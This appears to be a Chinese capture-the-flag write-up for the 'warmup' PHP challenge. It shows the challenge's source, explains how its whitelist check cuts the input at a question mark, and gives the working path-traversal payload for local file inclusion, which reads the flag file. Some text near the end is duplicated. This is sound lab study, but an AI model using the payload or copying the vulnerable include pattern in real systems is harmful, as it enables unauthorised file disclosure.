查看页面源代码,拿到提示,我们根据提示跳转过去;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r0EGkDax-1671528475337)(E:\笔记软件\笔记\warmup1.png)]
拿到源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);//将page的值后面补了一个问号,通过mb_strpos得到了page中到第一个问号前的长度,并通过mb_substr将此部分赋值给_page
if (in_array($_page, $whitelist)) {
return true;
}//检验白名单
$_page = urldecode($page); //有一次urldecode
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);//同上
if (in_array($_page, $whitelist)) {
return true;//同上
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file']; //包含file文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
代码中有hint.php,跳转得到
flag not here, and flag in ffffllllaaaagggg
我首先猜测的文件路径为/var/www/html/ffffllllaaaagggg
所以初步构造的payload
file=hint.php?/../../../ffffllllaaaagggg
但这样是错误的,所以我尝试增加或是删减,得到正确的payload
file=hint.php?/../../../../ffffllllaaaagggg
(根据利用点的不同我们还可以进行二次的urlencode)
(如果是post传参,其实不编码也可以)
为什么这样是正确的呢,只能说文件路径错了,题目的文件路径应该比我初次猜测的路径多一层;
ode)
(如果是post传参,其实不编码也可以)
为什么这样是正确的呢,只能说文件路径错了,题目的文件路径应该比我初次猜测的路径多一层;
这里用到include包含文件的知识,include在开头没有找到文件但存在../的情况下,会从当前目录的父目录寻找文件。